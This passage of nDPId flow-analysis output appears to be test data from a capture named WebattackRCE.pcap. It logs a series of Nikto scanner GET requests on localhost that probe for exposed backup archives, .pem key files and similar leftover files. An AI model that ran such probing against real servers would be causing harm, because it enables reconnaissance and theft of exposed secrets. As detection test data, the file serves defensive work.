port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":288,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":288,"flow_packet_id":1,"flow_first_seen":1576420277126,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50120,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":288,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":126136,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA98ZAAEAGRG9\/AAABfwAAAcPIH5D1l89GxMECdIAYAED+tAAAAQEICp1m\/K6dZvytR0VUIC9zaXRlLmVnZyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":288,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":288,"flow_packet_id":1,"flow_first_seen":1576420277126,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50120,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":289,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":289,"flow_packet_id":1,"flow_first_seen":1576420277127,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50122,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":289,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":127488,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBPaVAAEAG\/o9\/AAABfwAAAcPKH5CdTAUjrG8+WIAYAED+tQAAAQEICp1m\/K+dZvyvR0VUIC8xMjcuMC53YXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":289,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":289,"flow_packet_id":1,"flow_first_seen":1576420277127,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50122,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":290,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":290,"flow_packet_id":1,"flow_first_seen":1576420277128,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50124,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":290,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":128691,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBZB5AAEAG2BZ\/AAABfwAAAcPMH5CtKVyfkMJlVIAYAED+tQAAAQEICp1m\/LCdZvywR0VUIC8xMjcuMC53YXIgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":290,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":290,"flow_packet_id":1,"flow_first_seen":1576420277128,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50124,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":291,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":291,"flow_packet_id":1,"flow_first_seen":1576420277130,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50126,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":291,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":130504,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9JsdAAEAGFXJ\/AAABfwAAAcPOH5Ap0h5I7vzLNIAYAED+sQAAAQEICp1m\/LKdZvyyR0VUIC8xLnppcCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":291,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":291,"flow_packet_id":1,"flow_first_seen":1576420277130,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50126,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":292,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":292,"flow_packet_id":1,"flow_first_seen":1576420277134,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50128,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":292,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":134035,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9UWBAAEAG6th\/AAABfwAAAcPQH5CgyWnegf\/5dIAYAED+sQAAAQEICp1m\/LWdZvy1R0VUIC8xLnppcCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":292,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":292,"flow_packet_id":1,"flow_first_seen":1576420277134,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50128,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":293,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":293,"flow_packet_id":1,"flow_first_seen":1576420277136,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50130,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":293,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":136034,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFelpAAEAGwdZ\/AAABfwAAAcPSH5CODELdlJWwD4AYAED+uQAAAQEICp1m\/LedZvy3R0VUIC8xMjcuMC4wLjEucGVtIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":293,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":293,"flow_packet_id":1,"flow_first_seen":1576420277136,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50130,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":294,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":294,"flow_packet_id":1,"flow_first_seen":1576420277141,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50132,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":294,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":141226,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADF+nFAAEAGQb9\/AAABfwAAAcPUH5Dn1sLrZe4ChoAYAED+uQAAAQEICp1m\/L2dZvy9R0VUIC8xMjcuMC4wLjEucGVtIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":294,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":294,"flow_packet_id":1,"flow_first_seen":1576420277141,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50132,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":295,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":295,"flow_packet_id":1,"flow_first_seen":1576420277142,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50134,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":295,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":142772,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHb5RAAEAGzJp\/AAABfwAAAcPWH5B0BVcY3NxdJYAYAED+uwAAAQEICp1m\/L6dZvy+R0VUIC9iYWNrdXAudGFyLmx6bWEgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":295,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":295,"flow_packet_id":1,"flow_first_seen":1576420277142,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50134,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":296,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":296,"flow_packet_id":1,"flow_first_seen":1576420277144,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50136,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":296,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":144234,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHO5VAAEAGAJp\/AAABfwAAAcPYH5AuGgMWrL1WfYAYAED+uwAAAQEICp1m\/MCdZvzAR0VUIC9iYWNrdXAudGFyLmx6bWEgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":296,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":296,"flow_packet_id":1,"flow_first_seen":1576420277144,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50136,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":297,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":297,"flow_packet_id":1,"flow_first_seen":1576420277145,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50138,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":297,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":145866,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADD1QZAAEAGZyx\/AAABfwAAAcPaH5AWHu2DG+Oig4AYAED+twAAAQEICp1m\/MGdZvzBR0VUIC8xMjcuMC4wLnRhciBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":297,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":297,"flow_packet_id":1,"flow_first_seen":1576420277145,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50138,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":298,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":298,"flow_packet_id":1,"flow_first_seen":1576420277148,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50140,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":298,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":148652,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDYFdAAEAG29t\/AAABfwAAAcPcH5BE+VjTl6\/NvYAYAED+twAAAQEICp1m\/MSdZvzER0VUIC8xMjcuMC4wLnRhciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":298,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":298,"flow_packet_id":1,"flow_first_seen":1576420277148,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50140,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":299,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":299,"flow_packet_id":1,"flow_first_seen":1576420277153,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50142,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":299,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":153474,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCOn5AAEAGAbZ\/AAABfwAAAcPeH5C7hwL1asNzroAYAED+tgAAAQEICp1m\/MmdZvzJR0VUIC8xMjcwMDEuYWx6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":299,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":299,"flow_packet_id":1,"flow_first_seen":1576420277153,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50142,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":300,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":300,"flow_packet_id":1,"flow_first_seen":1576420277155,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50144,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":300,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":155540,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCDytAAEAGLQl\/AAABfwAAAcPgH5C7IzeiGEGCK4AYAED+tgAAAQEICp1m\/MudZvzLR0VUIC8xMjcwMDEuYWx6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} 